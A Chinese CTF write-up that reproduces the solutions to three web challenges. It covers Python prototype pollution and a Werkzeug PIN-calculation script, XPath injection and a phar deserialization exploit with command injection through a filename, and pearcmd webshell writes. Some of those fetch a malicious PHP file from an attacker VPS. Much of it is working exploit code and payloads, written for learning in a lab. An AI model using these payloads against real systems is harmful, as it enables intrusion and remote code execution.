DASCTF_2023_07_web赛后复现

发布时间 2023-08-11 20:46:38作者: Icfh

EZFlask

总体思路

总体思路是利用python的原型链污染修改__file__,实现任意文件读,从而读取到必要信息,构造PIN码解锁console从而RCE

解题

代码审计

源代码设计得挺巧的,这个其实是提供了任意读

@app.route('/',methods=['GET'])
def index():
    return open(__file__, "r").read()

原型链污染如下,那么如果能影响到__file__,那就可以任意读了

@app.route('/register',methods=['POST'])
def register():
    print(request.data)
    if request.data:
        try:
            if not check(request.data):
                print("check is not pass")
                return "Register Failed"
            data = json.loads(request.data)             # 以JSON格式解析
            if "username" not in data or "password" not in data:
                return "Register Failed"
            User = user()
            merge(data, User)           				# 合并入列表
            Users.append(User)
        except Exception:
            print("Exception occur")
            return "Register Failed"
        return "Register Success"
    else:
        print("Not request data")
        return "Register Failed"

抓包进行污染

POST传参

{
	"username": "a",
	"password": "b",
	"__init__": {
		"__globals__": {
			"__file__": target
		}
	}
}

target:

# eth0网卡
sys/class/net/eth0/address
# machine-id
etc/machine-id
# 容器信息,容器信息需要和machine-id拼凑在一起组成machin-id
/proc/self/cgroup

此时还有黑名单,使用Unicode编码绕过__init__,网址:http://www.jsons.cn/unicode/

image-20230805001745174

EXP-PIN

import hashlib
from itertools import chain
from os import popen

probably_public_bits = [
    'root',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    # fe:35:dd:8f:a8:88
    # print(0xfe35dd8fa888) => 279507303901320
    '279507303901320',# str(uuid.getnode()),  /sys/class/net/ens33/address
    '96cec10d3d9307792745ec3b85c89620docker-435940edf16ba4ad0e05e0f7079d5e18f94740d49309b5ce05bd84c30da7530f.scope'# get_machine_id(), /etc/machine-id
]

h = hashlib.sha1()          # 注意python对应版本
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

获取console权限后

image-20230805000233731

image-20230805000218323

MyPicDisk

总体思路

利用md5_file这个函数可以触发phar反序列化过程

因此可以利用该点进行RCE

解题

万能密码

image-20230805164122245

代码审计

<?php
session_start();
error_reporting(0);
class FILE{
    public $filename;
    public $lasttime;
    public $size;
    public function __construct($filename){
        if (preg_match("/\//i", $filename)){
            throw new Error("hacker!");
        }
        $num = substr_count($filename, ".");
        if ($num != 1){
            throw new Error("hacker!");
        }
        if (!is_file($filename)){
            throw new Error("???");
        }
        $this->filename = $filename;
        $this->size = filesize($filename);
        $this->lasttime = filemtime($filename);
    }
    public function remove(){
        unlink($this->filename);
    }
    public function show()
    {
        echo "Filename: ". $this->filename. "  Last Modified Time: ".$this->lasttime. "  Filesize: ".$this->size."<br>";
    }
    public function __destruct(){				// RCE
        system("ls -all ".$this->filename);
    }
}
?>
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>MyPicDisk</title>
</head>
<body>
<?php
if (!isset($_SESSION['user'])){
  echo '
<form method="POST">
    username:<input type="text" name="username"></p>
    password:<input type="password" name="password"></p>
    <input type="submit" value="登录" name="submit"></p>
</form>
';
  $xml = simplexml_load_file('/tmp/secret.xml');
  if($_POST['submit']){
    $username=$_POST['username'];
    $password=md5($_POST['password']);
    $x_query="/accounts/user[username='{$username}' and password='{$password}']";
    $result = $xml->xpath($x_query);
    if(count($result)==0){
      echo '登录失败';
    }else{
      $_SESSION['user'] = $username;
        echo "<script>alert('登录成功!');location.href='/index.php';</script>";
    }
  }
}
else{
    if ($_SESSION['user'] !== 'admin') {
        echo "<script>alert('you are not admin!!!!!');</script>";
        unset($_SESSION['user']);
        echo "<script>location.href='/index.php';</script>";
    }
  echo "<!-- /y0u_cant_find_1t.zip -->";
  if (!$_GET['file']) {
    foreach (scandir(".") as $filename) {
      if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
        echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
      }
    }
    echo '
  <form action="index.php" method="post" enctype="multipart/form-data">
  选择图片:<input type="file" name="file" id="">
  <input type="submit" value="上传"></form>
  ';
    if ($_FILES['file']) {
      $filename = $_FILES['file']['name'];
      if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {			// 只允许上传图片
        die("hacker!");
      }
      if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {
          echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";
      } else {
        die('failed');
      }
    }
  }
  else{
      $filename = $_GET['file'];
      if ($_GET['todo'] === "md5"){
          echo md5_file($filename);                 // 触发phar反序列化
      }
      else {
          $file = new FILE($filename);
          if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
              echo "<img src='../" . $filename . "'><br>";
              echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
              echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
          } else if ($_GET['todo'] === "remove") {
              $file->remove();
              echo "<script>alert('图片已删除!');location.href='/index.php';</script>";
          } else if ($_GET['todo'] === "show") {
              $file->show();
          }
      }
  }
}
?>
</body>
</html>

EXP

Phar

<?php
class FILE{
    public $filename;
    public $lasttime;
    public $size;
    public function __construct($filename){
		$this->$file
    }
    public function remove(){
        unlink($this->filename);
    }
    public function show()
    {
        echo "Filename: ". $this->filename. "  Last Modified Time: ".$this->lasttime. "  Filesize: ".$this->size."<br>";
    }
    public function __destruct(){
        system("ls -all ".$this->filename);
    }
}

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");	 // 设置stub头,phar文件依靠这部分来识别

//$obj = new FILE("../../../../../../");
$obj = new FILE("/;cd ../../../../../../;cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd");

$phar->setMetadata($obj);							// 对象写入
$phar->addFromString("test.txt", "test");			// 添加要压缩的文件
$phar->stopBuffering();								// 签名自动计算

copy("phar.phar", "4.jpg");					// 将phar.phar内容复制到jpg里

Upload

着重记录一下怎么通过脚本上传图片

import time

import requests

URL = "http://5968487a-f954-44f6-b2e8-89bc2e009c2d.node4.buuoj.cn:81"


def exploit():
    # upload the picture
    proxy = {
        "http": "http://127.0.0.1:7890"
    }
    filename = "8.jpg"					# 图片路径
    
    # 上传图片的写法
    UploadFile = {  # 根据键值对来写
        'file': (filename, open(file=filename, mode='rb'), 'image/jpeg')
    }
    data = {
        "username": "1' or 1=1",
        "password": "admin",
        "submit": '登录'
    }
    cookies = {
        "PHPSESSID": "858432b6b04e28d90b33955b1620acc1"
    }
    req1 = requests.post(url=URL, files=UploadFile, data=data, cookies=cookies, proxies=proxy)
    print(req1.text)
    time.sleep(0.05)

if __name__ == '__main__':
    exploit()

GetFlag

image-20230805170631016

ez_cms

总体思路

算是了解渗透测试的基本思路吧,题目给了一个cms的靶场

最终getshell的手段还是写马,当时已经拿到数据库了但是不知道怎么写马。。。。

利用pearcmd写马

解题

弱口令后台

/admin路由下使用如下账号密码可以进行登录

admin

123456

pearcmd写马

pear:

php的pear扩展是一个命令行扩展管理工具

默认安装路径为:/usr/local/lib/php/pearcmd.php

(即pearcmd是一个php文件)

命令行下可以使用pear or php /usr/local/lib/php/pearcmd.php运行

总的来说,pearcmd写马有三种方法

  • config-create

首先需要一个包含的接口(此处为file)包含pearcmd.php文件

然后使用config-create<?=@eval($_POST['cmd']);?>写入/tmp/test.php位置

/?file=/www/server/php/52/lib/php/pearcmd.php&+config-create+/<?=@eval($_POST['cmd']);die()?>+/tmp/test.php

  • install

在自己的vps上部署一个恶意php文件,然后利用pearcmd install下载至目标机器上

这个文件会被下载到/tmp/pear/test1.php

?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://[vps]:[port]/test1.php

  • download

如果pearcmd.php这个关键词被过滤,可以使用peclcmd.php,直接使用download可以下载到web目录下

/?file=/www/server/php/52/lib/php/peclcmd.php&+download+http://vps/test.php

getshell

这里有两个坑:

  • 当?不在web目录下该如何利用蚁剑连接

  • php文件后缀名不用写

利用文件包含来进行蚁剑连接

image-20230806113831919

image-20230806113631696